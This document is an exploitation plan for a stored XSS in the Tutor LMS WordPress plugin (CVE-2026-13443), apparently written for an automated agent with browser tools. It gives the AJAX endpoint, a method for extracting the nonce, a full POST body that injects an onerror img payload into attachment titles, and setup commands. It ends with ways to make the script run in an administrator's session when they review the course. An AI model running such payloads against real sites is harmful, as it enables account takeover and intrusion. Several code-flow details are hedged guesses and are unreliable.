Exploitation Research Plan — CVE-2026-13443

1. Vulnerability Summary

The Tutor LMS plugin (<= 3.9.13) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of lesson attachments, specifically the attachment title. Due to insufficient sanitization using Input::sanitize (or a lack thereof) and missing output escaping when rendering the attachment list in either the Course Builder or the frontend lesson view, an attacker with Author privileges can inject arbitrary JavaScript.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: tutor_modal_create_or_update_lesson (or similar lesson-saving AJAX action).
• Vulnerable Parameter: attachments[][title] or attachments[][name] within the lesson data payload.
• Authentication: Required (Author role or higher).
• Preconditions: The attacker must have permissions to create or edit a course and add lessons to it (standard for the Author role in Tutor LMS).

3. Code Flow

1. Entry Point: The attacker triggers the course builder and saves a lesson via an AJAX request. This request is typically handled by a method in a class like Tutor\Lesson or Tutor\CourseBuilder (similar to Tutor\QuizBuilder seen in the source).
2. Data Processing: The request contains an array of attachments. The code likely iterates through $_POST['attachments'].
3. Storage: The attachment metadata (including the title) is saved to the database, either as post meta (_tutor_attachments) or in a custom table, without being passed through esc_html() or a strict wp_kses filter.
4. Sink: When the lesson is viewed in the frontend (Lesson page) or re-opened in the backend Course Builder, the plugin retrieves the attachment title and echoes it directly: echo $attachment->title;.

4. Nonce Acquisition Strategy

Tutor LMS strictly enforces nonces in its AJAX handlers using tutor_utils()->checking_nonce(). To obtain a valid nonce for the Author user:

1. Shortcode/Page: The Course Builder is where the script tutor-course-builder.js is loaded.
2. Strategy:
   • Create a course as the Author user.
   • Access the "Course Builder" interface for that course.
   • The nonce is localized in the page source within the tutor_admin_data (or tutor_low_data) object.
3. Tool Access:
   • Use browser_navigate to the Course edit page: /wp-admin/post.php?post=COURSE_ID&action=edit.
   • Use browser_eval to extract the nonce:

     window.tutor_admin_data?.nonce || window._tutor_nonce_data?.nonce
     

4. Action String: The nonce is typically created for the action tutor_nonce.

5. Exploitation Strategy

Step 1: Authentication & Setup

1. Authenticate as an Author user.
2. Create a Course and a Lesson. Identify the course_id and lesson_id.

Step 2: The Attack Request

Send a POST request to admin-ajax.php to update the lesson with a malicious attachment title.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

action=tutor_modal_create_or_update_lesson
&_wpnonce=[EXTRACTED_NONCE]
&course_id=[COURSE_ID]
&lesson_id=[LESSON_ID]
&lesson_title=Safe Lesson Title
&lesson_content=Lesson Content
&attachments[0][id]=[EXISTING_ATTACHMENT_ID_OR_0]
&attachments[0][title]=<img src=x onerror=alert(document.domain)>
&attachments[0][upload_id]=[MEDIA_ID]

Step 3: Triggering the XSS

1. Navigate to the frontend URL of the created lesson: http://localhost:8080/lessons/[LESSON-SLUG]/.
2. Observe the alert firing when the attachment list renders.

6. Test Data Setup

1. User: wp user create attacker attacker@example.com --role=author --user_pass=password
2. Course: wp post create --post_type=courses --post_title="XSS Test Course" --post_status=publish --post_author=[ATTACKER_ID]
3. Lesson: wp post create --post_type=lesson --post_title="XSS Lesson" --post_status=publish --post_author=[ATTACKER_ID]
4. Association: Link the lesson to the course via post meta:
   • wp post meta add [LESSON_ID] _tutor_course_id_for_lesson [COURSE_ID]
5. Media: Upload a dummy file to the media library to get a [MEDIA_ID].

7. Expected Results

• The AJAX request returns {"success":true, ...}.
• The database entry for the lesson's attachments contains the raw <img src=x onerror=alert(document.domain)> string.
• When viewing the lesson page, the browser executes the alert(document.domain) script because the title is rendered inside the tutor-lesson-attachments container without escaping.

8. Verification Steps

1. Check Database Content:

   wp post meta get [LESSON_ID] _tutor_attachments
   

   Confirm the output contains the unescaped script tag.
2. Verify Frontend Execution: Use the browser_navigate tool to the lesson URL and check for the presence of the alert or the injected HTML in the DOM.

9. Alternative Approaches

• Backend Trigger: If the frontend is properly escaped, check the Course Builder modal. Navigating to the course edit page and clicking "Edit Lesson" might trigger the XSS in the administrator's context if they audit the course.
• Draft Status: Even if the course is in "Draft" or "Pending Review", the payload is saved. If an Administrator views the preview to approve the course, the XSS will execute in their high-privileged session.